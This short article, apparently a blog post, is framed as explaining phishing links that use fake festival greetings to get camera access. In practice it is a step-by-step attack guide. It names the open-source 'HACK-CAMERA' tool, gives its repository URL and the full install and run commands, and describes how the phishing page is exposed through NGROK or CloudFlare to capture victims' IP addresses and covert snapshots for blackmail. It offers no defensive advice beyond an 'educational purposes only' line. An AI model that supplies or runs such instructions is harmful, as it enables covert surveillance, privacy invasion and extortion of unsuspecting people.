Understanding Phishing Links That Exploit Camera Access

       

                         

 

 Introduction

     Hackers exploit the celebratory atmosphere to deceive users into accessing malicious websites. They use phishing links disguised as festival greetings to lure victims. Once the link is clicked, hackers can potentially gain access to the user's camera without their knowledge.

 How Hackers Access the Camera

     Hackers employ phishing links under the guise of festival wishes. When a user clicks on the link, they are redirected to a webpage displaying festive greetings along with a pop-up message. This pop-up prompts the user to grant camera access, unknowingly allowing the hacker to take control of the user's camera.

Why Hackers Access Your Front Camera

     Hackers access the camera to take unauthorized photos, which they can then save on their devices. These photos may be used to blackmail or threaten the user, compromising their privacy and security.

Tool Used for the Attack

     The primary tool used for this attack is "HACK-CAMERA," an open-source tool available on GitHub.

     Link to the tool

Requirements for the Attack

     - Termux application for Android

     - Terminal for PC

 Installation Commands

•      apt update && apt upgrade -y
•      apt install git -y
•      apt install php
•      apt install curl -y
•      apt install wget -y
•      git clone https://github.com/XPH4N70M/HACK-CAMERA.git
•      cd HACK-CAMERA
•      chmod +x hack_camera.sh (optional)
•      bash setup
•      bash hack_camera.sh

Working Methodology

     This tool hosts a phishing site on the attacker's local network and offers two port forwarding options (NGROK or CloudFlare) to make the site accessible over the internet. The attacker generates a phishing link using the tool and sends it to the target. When the target opens the link, their IP address is transferred to the attacker. The website then prompts the target for camera access, and if granted, the website takes camera snapshots and sends them to the attacker.

 Note

     This tool is intended for educational purposes only.

 

  Watch video For Clear Explanation: